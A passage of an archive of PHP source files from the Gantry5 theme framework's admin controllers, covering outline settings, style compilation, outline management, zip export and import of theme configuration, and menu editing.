        ];

        return
$this->render('@gantry-admin/pages/configurations/settings/settings.html.twig',
$this->params);
    }

    public function display($id)
    {
        $outline = $this->params['outline'];

        /** @var Particles $particles */
        $particles = $this->container['particles'];

        $blueprints = $particles->getBlueprintForm($id);
        $prefix = 'particles.' . $id;

        if($outline === 'default') {
            $this->params['overrideable'] = false;
            $data = $this->container['config'];
        } else {
            $this->params['overrideable'] = true;
            $this->params['defaults'] =
$this->container['defaults']->get($prefix);
            $data = ConfigServiceProvider::load($this->container,
$outline, false, false);
        }

        $this->params += [
            'scope' => 'particle.',
            'particle' => $blueprints,
            'data' =>  ['particle' =>
$data->get($prefix)],
            'id' => $id,
            'parent' =>
"configurations/{$outline}/settings",
            'route'  =>
"configurations.{$outline}.settings.{$prefix}",
            'skip' => ['enabled']
            ];

        return
$this->render('@gantry-admin/pages/configurations/settings/item.html.twig',
$this->params);
    }

    public function formfield($id)
    {
        $path = func_get_args();

        $end = end($path);
        if ($end === '') {
            array_pop($path);
        }
        if (end($path) === 'validate') {
            return call_user_func_array([$this, 'validate'],
$path);
        }

        /** @var Particles $particles */
        $particles = $this->container['particles'];

        // Load blueprints.
        $blueprints = $particles->getBlueprintForm($id);

        list($fields, $path, $value) =
$blueprints->resolve(array_slice($path, 1), '/');
        if (!$fields) {
            throw new \RuntimeException('Page Not Found', 404);
        }

        $data =
$this->request->post->getJsonArray('data');

        /** @var Config $config */
        $config = $this->container['config'];

        $offset = "particles.{$id}." . implode('.',
$path);
        if ($value !== null) {
            $parent = $fields;
            $fields = ['fields' =>
$fields['fields']];
            $offset .= '.' . $value;
            $data = $data ?: $config->get($offset);
            $data = ['data' => $data];
            $scope = 'data.';
        } else {
            $data = $data ?: $config->get($offset);
            $scope = 'data';
        }

        $fields['is_current'] = true;

        array_pop($path);

        $outline = $this->params['outline'];
        $configuration = "configurations/{$outline}";
        $this->params = [
                'configuration' => $configuration,
                'blueprints' => $fields,
                'data' => $data,
                'scope' => $scope,
                'parent' => $path
                    ?
"{$configuration}/settings/particles/{$id}/" .
implode('/', $path)
                    :
"{$configuration}/settings/particles/{$id}",
                'route' =>
"configurations.{$outline}.settings.{$offset}",
            ] + $this->params;

        if (isset($parent['key'])) {
            $this->params['key'] = $parent['key'];
        }
        if (isset($parent['value'])) {
            $this->params['title'] =
$parent['value'];
        }

        return
$this->render('@gantry-admin/pages/configurations/settings/field.html.twig',
$this->params);
    }

    public function validate($particle)
    {
        $path = implode('.', array_slice(func_get_args(), 1,
-1));

        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        /** @var Particles $particles */
        $particles = $this->container['particles'];

        // Load particle blueprints.
        $validator = $particles->get($particle);

        // Create configuration from the defaults.
        $data = new Config(
            [],
            function () use ($validator) {
                return $validator;
            }
        );

        $data->join($path,
$this->request->post->getArray('data'));

        // TODO: validate

        return new JsonResponse(['data' =>
$data->get($path)]);
    }

    public function save($id = null)
    {
        if (!$this->request->post->get('_end')) {
            throw new \OverflowException("Incomplete data received.
Please increase the value of 'max_input_vars' variable (in
php.ini or .htaccess)", 400);
        }

        $data = $id ? [$id =>
$this->request->post->getArray('particle')] :
$this->request->post->getArray('particles');

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        // Save layout into custom directory for the current theme.
        $outline = $this->params['outline'];
        $save_dir =
$locator->findResource("gantry-config://{$outline}/particles",
true, true);

        foreach ($data as $name => $values) {
            $this->saveItem($name, $values, $save_dir);
        }
        @rmdir($save_dir);

        // Fire save event.
        $event = new Event;
        $event->gantry = $this->container;
        $event->theme = $this->container['theme'];
        $event->controller = $this;
        $event->data = $data;
        $this->container->fireEvent('admin.settings.save',
$event);

        return $id ? $this->display($id) : $this->index();
    }

    protected function saveItem($id, $data, $save_dir)
    {
        $filename = "{$save_dir}/{$id}.yaml";

        $file = YamlFile::instance($filename);
        if (!is_array($data)) {
            if ($file->exists()) {
                $file->delete();
            }
        } else {
            /** @var Particles $particles */
            $particles = $this->container['particles'];

            $blueprints = $particles->getBlueprintForm($id);
            $config = new Config($data, function() use ($blueprints) {
return $blueprints; });

            $file->save($config->toArray());
        }
        $file->free();
    }

    public function reset($id)
    {
        $this->params += [
            'data' => [],
        ];

        return $this->display($id);
    }
}
Gantry/Admin/Controller/Html/Configurations/Styles.php000064400000020017151157471010017057
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html\Configurations;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Services\ConfigServiceProvider;
use Gantry\Framework\Theme;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Styles extends HtmlController
{

    protected $httpVerbs = [
        'GET' => [
            '/'              => 'index',
            '/blocks'        => 'undefined',
            '/blocks/*'      => 'display',
            '/blocks/*/**'   => 'formfield'
        ],
        'POST' => [
            '/'          => 'save',
            '/blocks'    => 'forbidden',
            '/blocks/*'  => 'save',
            '/compile'   => 'compile'
        ],
        'PUT' => [
            '/'         => 'save',
            '/blocks'   => 'forbidden',
            '/blocks/*' => 'save'
        ],
        'PATCH' => [
            '/'         => 'save',
            '/blocks'   => 'forbidden',
            '/blocks/*' => 'save'
        ],
        'DELETE' => [
            '/'         => 'forbidden',
            '/blocks'   => 'forbidden',
            '/blocks/*' => 'reset'
        ]
    ];

    public function index()
    {
        $outline = $this->params['outline'];

        if($outline == 'default') {
            $this->params['overrideable'] = false;
            $this->params['data'] =
$this->container['config'];
        } else {
            $this->params['overrideable'] = true;
            $this->params['defaults'] =
$this->container['defaults'];
            $this->params['data'] =
ConfigServiceProvider::load($this->container, $outline, false, false);
        }

        $this->params['blocks'] =
$this->container['styles']->group();
        $this->params['route']  =
"configurations.{$outline}.styles";

        return
$this->render('@gantry-admin/pages/configurations/styles/styles.html.twig',
$this->params);
    }

    public function display($id)
    {
        $outline = $this->params['outline'];
        $blueprints =
$this->container['styles']->getBlueprintForm($id);
        $prefix = 'styles.' . $id;

        if($outline == 'default') {
            $this->params['overrideable'] = false;
            $this->params['data'] =
$this->container['config']->get($prefix);
        } else {
            $this->params['overrideable'] = true;
            $this->params['defaults'] =
$this->container['defaults']->get($prefix);
            $this->params['data'] =
ConfigServiceProvider::load($this->container, $outline, false,
false)->get($prefix);
        }

        $this->params += [
            'block' => $blueprints,
            'id' => $id,
            'parent' =>
"configurations/{$outline}/styles",
            'route'  =>
"configurations.{$outline}.styles.{$prefix}",
            'skip' => ['enabled']
        ];

        return
$this->render('@gantry-admin/pages/configurations/styles/item.html.twig',
$this->params);
    }

    public function formfield($id)
    {
        $path = func_get_args();

        $outline = $this->params['outline'];

        // Load blueprints.
        $blueprints =
$this->container['styles']->getBlueprintForm($id);

        list($fields, $path, $value) =
$blueprints->resolve(array_slice($path, 1), '/');

        if (!$fields) {
            throw new \RuntimeException('Page Not Found', 404);
        }

        $fields['is_current'] = true;

        // Get the prefix.
        $prefix = "styles.{$id}." . implode('.',
$path);
        if ($value !== null) {
            $parent = $fields;
            $fields = ['fields' =>
$fields['fields']];
            $prefix .= '.' . $value;
        }
        array_pop($path);

        if($outline == 'default') {
            $this->params['overrideable'] = false;
            $this->params['data'] =
$this->container['config']->get($prefix);
        } else {
            $this->params['overrideable'] = true;
            $this->params['defaults'] =
$this->container['defaults']->get($prefix);
            $this->params['data'] =
ConfigServiceProvider::load($this->container, $outline, false,
false)->get($prefix);
        }

        $this->params = [
                'blueprints' => $fields,
                'parent' => $path
                    ?
"configurations/{$outline}/styles/blocks/{$id}/" .
implode('/', $path)
                    :
"configurations/{$outline}/styles/blocks/{$id}",
                'route' => 'styles.' . $prefix
            ] + $this->params;

        if (isset($parent['key'])) {
            $this->params['key'] = $parent['key'];
        }

        return
$this->render('@gantry-admin/pages/configurations/styles/field.html.twig',
$this->params);
    }

    public function reset($id)
    {
        $this->params += [
            'data' => [],
        ];

        return $this->display($id);
    }


    public function compile()
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        $warnings = $this->compileSettings();

        if ($warnings) {
            $this->params += ['warnings' => $warnings];
            return new JsonResponse(
                [
                    'html'    =>
$this->render('@gantry-admin/layouts/css-warnings.html.twig',
$this->params),
                    'warning' => true,
                    'title'   => 'CSS Compiled With
Warnings',
                ]
            );
        } else {
            return new JsonResponse(['html' => 'The CSS
was successfully compiled', 'title' => 'CSS
Compiled']);
        }
    }

    public function save($id = null)
    {
        /** @var Config $config */
        $config = $this->container['config'];

        if ($id) {
            $data = (array) $config->get('styles');
            $data[$id] = $this->request->post->getArray();
        } else {
            $data =
$this->request->post->getArray('styles');
        }

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        // Save layout into custom directory for the current theme.
        $outline = $this->params['outline'];
        $save_dir =
$locator->findResource("gantry-config://{$outline}", true,
true);
        $filename = "{$save_dir}/styles.yaml";

        $file = YamlFile::instance($filename);
        $file->save($data);
        $file->free();

        // Fire save event.
        $event = new Event;
        $event->gantry = $this->container;
        $event->theme = $this->container['theme'];
        $event->controller = $this;
        $event->data = $data;
        $this->container->fireEvent('admin.styles.save',
$event);

        // Compile CSS.
        $warnings = $this->compileSettings();

        if (empty($this->params['ajax'])) {
            // FIXME: HTML request: Output compiler warnings!!
            return $id ? $this->display($id) : $this->index();
        }

        if ($warnings) {
            $this->params += ['warnings' => $warnings];
            return new JsonResponse(
                [
                    'html'    =>
$this->render('@gantry-admin/layouts/css-warnings.html.twig',
$this->params),
                    'warning' => true,
                    'title'   => 'CSS Compiled With
Warnings',
                ]
            );
        } else {
            return new JsonResponse(['html' => 'The CSS
was successfully compiled', 'title' => 'CSS
Compiled']);
        }
    }

    /**
     * @returns array
     */
    protected function compileSettings()
    {
        /** @var Theme $theme */
        $theme = $this->container['theme'];
        $outline = $this->params['outline'];

        return $theme->updateCss($outline !== 'default' ?
[$outline => ucfirst($outline)] : null);
    }
}
Gantry/Admin/Controller/Html/Configurations.php000064400000017126151157471010015603
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Response\RedirectResponse;
use Gantry\Component\Response\Response;
use Gantry\Component\Layout\Layout as LayoutObject;
use Gantry\Framework\Outlines as OutlinesObject;

class Configurations extends HtmlController
{
    protected $httpVerbs = [
        'GET' => [
            '/'                 => 'index',
            '/*'                => 'forward',
            '/*/delete'         =>
'confirmDeletion',
            '/*/**'             => 'forward',
        ],
        'POST' => [
            '/'                 => 'undefined',
            '/*'                => 'undefined',
            '/create'           => 'createForm',
            '/create/new'       => 'create',
            '/*/rename'         => 'rename',
            '/*/duplicate'      => 'duplicateForm',
            '/*/duplicate/new'  => 'duplicate',
            '/*/delete'         => 'undefined',
            '/*/delete/confirm' => 'delete',
            '/*/**'             => 'forward',
        ],
        'PUT'    => [
            '/'   => 'undefined',
            '/**' => 'forward'
        ],
        'PATCH'  => [
            '/'   => 'undefined',
            '/**' => 'forward'
        ]
    ];

    public function index()
    {
        return
$this->render('@gantry-admin/pages/configurations/configurations.html.twig',
$this->params);
    }

    public function createForm()
    {
        if (!$this->authorize('outline.create')) {
            $this->forbidden();
        }

        $params = [
            'presets' => LayoutObject::presets(),
            'outlines' =>
$this->container['outlines']
        ];

        $response = ['html' =>
$this->render('@gantry-admin/ajax/outline-new.html.twig',
$params)];

        return new JsonResponse($response);
    }

    public function create()
    {
        // Check if we want to duplicate outline instead.
        if ($this->request->post['from'] ===
'outline') {
            return
$this->duplicate($this->request->post['outline']);
        }

        if (!$this->authorize('outline.create')) {
            $this->forbidden();
        }

        /** @var OutlinesObject $outlines */
        $outlines = $this->container['outlines'];
        $title = $this->request->post['title'];
        $preset = $this->request->post['preset'];

        $id = $outlines->create(null, $title, $preset);

        $html =
$this->render('@gantry-admin/layouts/outline.html.twig',
['name' => $id, 'title' => $outlines[$id]]);

        return new JsonResponse(['html' => 'Outline
created.', 'id' => "outline-{$id}",
'outline' => $html]);
    }

    public function rename($outline)
    {
        if (!$this->authorize('outline.rename')) {
            $this->forbidden();
        }

        /** @var OutlinesObject $outlines */
        $outlines = $this->container['outlines'];
        $title = $this->request->post['title'];

        $id = $outlines->rename($outline, $title);

        $html =
$this->render('@gantry-admin/layouts/outline.html.twig',
['name' => $id, 'title' => $outlines[$id]]);

        return new JsonResponse(['html' => 'Outline
renamed.', 'id' => "outline-{$outline}",
'outline' => $html]);
    }

    public function duplicateForm($outline)
    {
        if (!$this->authorize('outline.create')) {
            $this->forbidden();
        }

        $params = [
            'outlines' =>
$this->container['outlines'],
            'outline' => $outline,
            'duplicate' => true
        ];

        $response = ['html' =>
$this->render('@gantry-admin/ajax/outline-new.html.twig',
$params)];

        return new JsonResponse($response);
    }

    public function duplicate($outline)
    {
        if (!$this->authorize('outline.create')) {
            $this->forbidden();
        }

        /** @var OutlinesObject $outlines */
        $outlines = $this->container['outlines'];
        $title = $this->request->post['title'];
        $inherit =
in_array($this->request->post['inherit'], ['1',
'true']);

        $id = $outlines->duplicate($outline, $title, $inherit);

        $html =
$this->render('@gantry-admin/layouts/outline.html.twig',
['name' => $id, 'title' => $outlines[$id]]);

        return new JsonResponse(['html' => 'Outline
duplicated.', 'id' => $id, 'outline' =>
$html]);
    }

    public function delete($outline)
    {
        if (!$this->authorize('outline.delete')) {
            $this->forbidden();
        }

        /** @var OutlinesObject $outlines */
        $outlines = $this->container['outlines'];
        $list = $outlines->user();

        if (!isset($list[$outline])) {
            $this->forbidden();
        }

        $outlines->delete($outline);

        return new JsonResponse(['html' => 'Outline
deleted.', 'outline' => $outline]);
    }

    /**
     * @return JsonResponse
     */
    public function confirmDeletion($id)
    {
        /** @var OutlinesObject $outlines */
        $outlines = $this->container['outlines'];

        $params = [
            'id' => $id,
            'page_type' => 'OUTLINE',
            'outline' => $outlines->title($id),
            'inherited' =>
$outlines->getInheritingOutlines($id)
        ];

        $html =
$this->render('@gantry-admin/pages/configurations/confirm-deletion.html.twig',
$params);

        return new JsonResponse(['html' => $html]);
    }

    /**
     * @return HtmlResponse|RedirectResponse|JsonResponse
     */
    public function forward()
    {
        $path = func_get_args();

        $outline = array_shift($path);
        $page = array_shift($path);

        $method = $this->params['method'];

        if ((!isset($outline) || !isset($page)) &&
$this->params['format'] !== 'json') {
            // Redirect path to the styles page of the selected outline.
            return new
RedirectResponse($this->container->route('configurations',
is_string($outline) ? $outline : 'default', 'styles'));
        }

        $outlines = $this->container['outlines'];

        if (!isset($outlines[$outline])) {
            throw new \RuntimeException('Outline not found.',
404);
        }

        $this->container['outline'] = $outline;
        $this->container['configuration'] = $outline;

        $resource = $this->params['location'] . '/'.
$page;

        $this->params['outline'] = $outline;
        $this->params['configuration'] = $outline;
        $this->params['location'] = $resource;
        $this->params['configuration_page'] = $page;
        $this->params['navbar'] =
!empty($this->request->get['navbar']);

        return $this->executeForward($resource, $method, $path,
$this->params);
    }

    protected function executeForward($resource, $method = 'GET',
$path, $params = [])
    {
        $class = '\\Gantry\\Admin\\Controller\\Html\\' .
strtr(ucwords(strtr($resource, '/', ' ')), '
', '\\');
        if (!class_exists($class)) {
            throw new \RuntimeException('Page not found', 404);
        }

        /** @var HtmlController $controller */
        $controller = new $class($this->container);

        // Execute action.
        $response = $controller->execute($method, $path, $params);

        if (!$response instanceof Response) {
            $response = new HtmlResponse($response);
        }

        return $response;
    }
}
Gantry/Admin/Controller/Html/Export.php000064400000007505151157471010014072
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Framework\Exporter;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;

class Export extends HtmlController
{
    public function index()
    {
        if (!class_exists('Gantry\Framework\Exporter')) {
            $this->forbidden();
        }

        if (!class_exists('ZipArchive')) {
            throw new \RuntimeException('Please enable PHP ZIP
extension to use this feature.');
        }

        $exporter = new Exporter;
        $exported = $exporter->all();

        $zipname =
$exported['export']['theme']['name'] .
'-export.zip';
        $tmpname = tempnam(sys_get_temp_dir(), 'zip');

        $zip = new \ZipArchive();
        $zip->open($tmpname, \ZipArchive::CREATE);

        $zip->addFromString("export.yaml",
Yaml::dump($exported['export'], 10, 2));
        unset($exported['export']);

        foreach ($exported['positions'] as $key => $position)
{
            foreach ($position['items'] as $module => $data) {
               
$zip->addFromString("positions/{$key}/{$module}.yaml",
Yaml::dump($data, 10, 2));
            }

            $position['ordering'] =
array_keys($position['items']);
            unset($position['items']);

            $zip->addFromString("positions/{$key}.yaml",
Yaml::dump($position, 10, 2));
        }

        foreach ($exported['outlines'] as $outline =>
&$data) {
            if (!empty($data['config'])) {
                foreach ($data['config'] as $name => $config)
{
                    if (in_array($name, ['particles',
'page'])) {
                        foreach ($config as $sub => $subconfig) {
                           
$zip->addFromString("outlines/{$outline}/{$name}/{$sub}.yaml",
Yaml::dump($subconfig, 10, 2));
                        }
                    } else {
                       
$zip->addFromString("outlines/{$outline}/{$name}.yaml",
Yaml::dump($config, 10, 2));
                    }
                }
            }
            unset($data['config']);
        }
        $zip->addFromString("outlines/outlines.yaml",
Yaml::dump($exported['outlines'], 10, 2));

        foreach ($exported['menus'] as $menu => $data) {
            $zip->addFromString("menus/{$menu}.yaml",
Yaml::dump($data, 10, 2));
        }

        foreach ($exported['content'] as $id => $data) {
            $zip->addFromString("content/{$id}.yaml",
Yaml::dump($data, 10, 2));
        }

        if (!empty($exported['categories'])) {
            $zip->addFromString("content/categories.yaml",
Yaml::dump($exported['categories'], 10, 2));
        }

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        foreach ($exported['files'] as $stream => $files) {
            foreach ($files as $path => $uri) {
                $filename = $locator->findResource($uri);
                
                if (file_exists($filename)) {
                    $zip->addFile($filename,
"files/{$stream}/{$path}");
                }
            }
            
        }

        $zip->close();

        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename=' .
$zipname);
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($tmpname));

        @ob_end_clean();
        flush();

        readfile($tmpname);
        unlink($tmpname);

        exit;
    }
}
Gantry/Admin/Controller/Html/Import.php000064400000005175151157471010014064
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Importer;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;

class Import extends HtmlController
{
    protected $httpVerbs = [
        'GET' => [
            '/'                 => 'index',
        ],
        'POST' => [
            '/'                 => 'import',
        ]
    ];

    public function index()
    {
        return
$this->render('@gantry-admin/pages/import/import.html.twig',
$this->params);
    }

    public function import()
    {
        if (!isset($_FILES['file']['error']) ||
is_array($_FILES['file']['error'])) {
            throw new \RuntimeException('No file sent', 400);
        }

        // Check $_FILES['file']['error'] value.
        switch ($_FILES['file']['error']) {
            case UPLOAD_ERR_OK:
                break;
            case UPLOAD_ERR_NO_FILE:
                throw new \RuntimeException('No file sent', 400);
            case UPLOAD_ERR_INI_SIZE:
            case UPLOAD_ERR_FORM_SIZE:
                throw new \RuntimeException('Exceeded filesize
limit.', 400);
            default:
                throw new \RuntimeException('Unkown errors',
400);
        }

        $filename = $_FILES['file']['tmp_name'];
        
        if (!is_uploaded_file($filename)) {
            throw new \RuntimeException('No file sent', 400);
        }

        $zip = new \ZipArchive;
        if ($zip->open($filename) !== true || !($export =
Yaml::parse($zip->getFromName('export.yaml'))) ||
!isset($export['gantry'])) {
            throw new \RuntimeException('Uploaded file is not Gantry 5
export file', 400);
        }

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        $folder =
$locator->findResource('gantry-cache://import', true, true);
        if (is_dir($folder)) Folder::delete($folder);
        $zip->extractTo($folder);
        $zip->close();

        $importer = new Importer($folder);
        $importer->all();

        if (is_dir($folder)) Folder::delete($folder);

        $this->params['success'] = true;

        return
$this->render('@gantry-admin/pages/import/import.html.twig',
$this->params);
    }
}
Gantry/Admin/Controller/Html/Install.php000064400000002167151157471010014216
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Framework\ThemeInstaller;

class Install extends HtmlController
{
    public function index()
    {
        if (!$this->authorize('updates.manage') ||
!class_exists('\Gantry\Framework\ThemeInstaller')) {
            $this->forbidden();
        }

        $installer = new ThemeInstaller();
        $installer->initialized = true;
       
$installer->loadExtension($this->container['theme.name']);
        $installer->installDefaults();
        $installer->installSampleData();
        $installer->finalize();

        $this->params['actions'] = $installer->actions;
        
        return
$this->render('@gantry-admin/pages/install/install.html.twig',
$this->params);
    }
}
Gantry/Admin/Controller/Html/Menu.php000064400000043333151157471010013514
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\Menu\Item;
use Gantry\Component\Request\Input;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Response\Response;
use Gantry\Framework\Menu as MenuObject;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Menu extends HtmlController
{
    protected $httpVerbs = [
        'GET'    => [
            '/'                  => 'item',
            '/*'                 => 'item',
            '/*/**'              => 'item',
            '/particle'          => 'particle',
            '/particle/*'        =>
'validateParticle',
            '/select'            => 'undefined',
            '/select/particle'   =>
'selectParticle',
            '/select/module'     => 'selectModule',
            '/select/widget'     => 'selectWidget',
            '/edit'              => 'undefined',
            '/edit/*'            => 'edit',
            '/edit/*/**'         => 'editItem',
        ],
        'POST'   => [
            '/'                  => 'save',
            '/*'                 => 'save',
            '/*/**'              => 'item',
            '/particle'          => 'particle',
            '/particle/*'        =>
'validateParticle',
            '/select'            => 'undefined',
            '/select/particle'   =>
'selectParticle',
            '/select/module'     => 'selectModule',
            '/select/widget'     => 'selectWidget',
            '/widget'            => 'widget',
            '/edit'              => 'undefined',
            '/edit/*'            => 'edit',
            '/edit/*/**'         => 'editItem',
            '/edit/*/validate'   => 'validate',
        ],
        'PUT'    => [
            '/*' => 'replace'
        ],
        'PATCH'  => [
            '/*' => 'update'
        ],
        'DELETE' => [
            '/*' => 'destroy'
        ]
    ];

    public function execute($method, array $path, array $params)
    {
        if (!$this->authorize('menu.manage')) {
            $this->forbidden();
        }

        return parent::execute($method, $path, $params);
    }

    public function item($id = null)
    {
        // Load the menu.
        try {
            $resource = $this->loadResource($id,
$this->build($this->request->post));
        } catch (\Exception $e) {
            return
$this->render('@gantry-admin/pages/menu/menu.html.twig',
$this->params);
        }

        // All extra arguments become the path.
        $path = array_slice(func_get_args(), 1);

        // Get menu item and make sure it exists.
        $item = $resource[implode('/', $path)];
        if (!$item) {
            throw new \RuntimeException('Menu item not found',
404);
        }

        // Fill parameters to be passed to the template file.
        $this->params['id'] = $resource->name();
        $this->params['menus'] = $resource->getMenus();
        $this->params['default_menu'] =
$resource->hasDefaultMenu() ? $resource->getDefaultMenuName() :
false;
        $this->params['menu'] = $resource;
        $this->params['path'] = implode('/', $path);

        // Detect special case to fetch only single column group.
        $group = $this->request->get['group'];

        if (empty($this->params['ajax']) ||
empty($this->request->get['inline'])) {
            // Handle special case to fetch only one column group.
            if (count($path) > 0) {
                $this->params['columns'] =
$resource[$path[0]];
            }
            if (count($path) > 1) {
                $this->params['column'] = isset($group) ?
(int) $group : $resource[implode('/', array_slice($path, 0,
2))]->group;
                $this->params['override'] = $item;
            }

            return
$this->render('@gantry-admin/pages/menu/menu.html.twig',
$this->params);

        } else {
            // Get layout name.
            $layout = $this->layoutName(count($path) + (int)
isset($group));

            $this->params['item'] = $item;
            $this->params['group'] = isset($group) ? (int)
$group : $resource[implode('/', array_slice($path, 0,
2))]->group;

            return $this->render('@gantry-admin/menu/' .
$layout . '.html.twig', $this->params) ?:
'&nbsp;';
        }
    }

    public function edit($id)
    {
        $resource = $this->loadResource($id);
        $input = $this->build($this->request->post);
        if ($input) {
            $resource->config()->merge(['settings' =>
$input['settings']]);
        }

        // Fill parameters to be passed to the template file.
        $this->params['id'] = $resource->name();
        $this->params['blueprints'] =
$this->loadBlueprints();
        $this->params['data'] = ['settings' =>
$resource->settings()];

        return
$this->render('@gantry-admin/pages/menu/edit.html.twig',
$this->params);
    }

    public function save($id = null)
    {
        $resource = $this->loadResource($id);

        $data = $this->build($this->request->post);

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];
        $filename =
$locator->findResource("gantry-config://menu/{$resource->name()}.yaml",
true, true);

        // Fire save event.
        $event = new Event;
        $event->gantry = $this->container;
        $event->theme = $this->container['theme'];
        $event->controller = $this;
        $event->resource = $id;
        $event->menu = $data;
        $this->container->fireEvent('admin.menus.save',
$event);

        $file = YamlFile::instance($filename);
        $file->settings(['inline' => 99]);
        $file->save($data->toArray());
        $file->free();
    }

    public function editItem($id)
    {
        // All extra arguments become the path.
        $path = array_slice(func_get_args(), 1);
        $keyword = end($path);

        // Special case: validate instead of fetching menu item.
        if ($this->method == 'POST' && $keyword ==
'validate') {
            $params = array_slice(func_get_args(), 0, -1);
            return call_user_func_array([$this, 'validateitem'],
$params);
        }

        $path = html_entity_decode(implode('/', $path),
ENT_COMPAT | ENT_HTML5, 'UTF-8');

        // Load the menu.
        $resource = $this->loadResource($id);

        // Get menu item and make sure it exists.
        /** @var Item $item */
        $item = $resource[$path];
        if (!$item) {
            throw new \RuntimeException('Menu item not found',
404);
        }
        $data =
$this->request->post->getJsonArray('item');
        if ($data) {
            $item->update($data);
        }

        // Load blueprints for the menu item.
        $blueprints = $this->loadBlueprints('menuitem');

        $this->params = [
                'id'         => $resource->name(),
                'path'       => $path,
                'blueprints' => ['fields' =>
$blueprints['form/fields/items/fields']],
                'data'       => $item->toArray() +
['path' => $path],
            ] + $this->params;

        return
$this->render('@gantry-admin/pages/menu/menuitem.html.twig',
$this->params);
    }

    public function particle()
    {
        $data = $this->request->post['item'];
        if ($data) {
            $data = json_decode($data, true);
        } else {
            $data = $this->request->post->getArray();
        }

        $name = isset($data['particle']) ?
$data['particle'] : null;

        $block = BlueprintForm::instance('menu/block.yaml',
'gantry-admin://blueprints');
        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        // Load particle blueprints and default settings.
        $validator = $this->loadBlueprints('menu');
        $callable = function () use ($validator) {
            return $validator;
        };

        // Create configuration from the defaults.
        $item = new Config($data, $callable);
        $item->def('type', 'particle');
        $item->def('title',
$blueprints->get('name'));
        $item->def('options.type',
$blueprints->get('type', 'particle'));
        $item->def('options.particle', []);
        $item->def('options.block', []);

        $this->params += [
            'item'          => $item,
            'block'         => $block,
            'data'          => ['particles' =>
[$name => $item->options['particle']]],
            'particle'      => $blueprints,
            'parent'        => 'settings',
            'prefix'        => "particles.{$name}.",
            'route'         =>
"configurations.default.settings",
            'action'        =>
"menu/particle/{$name}"
        ];

        return
$this->render('@gantry-admin/pages/menu/particle.html.twig',
$this->params);
    }


    public function validateParticle($name)
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        // Load particle blueprints and default settings.
        $validator = new BlueprintSchema;
        $validator->embed('options',
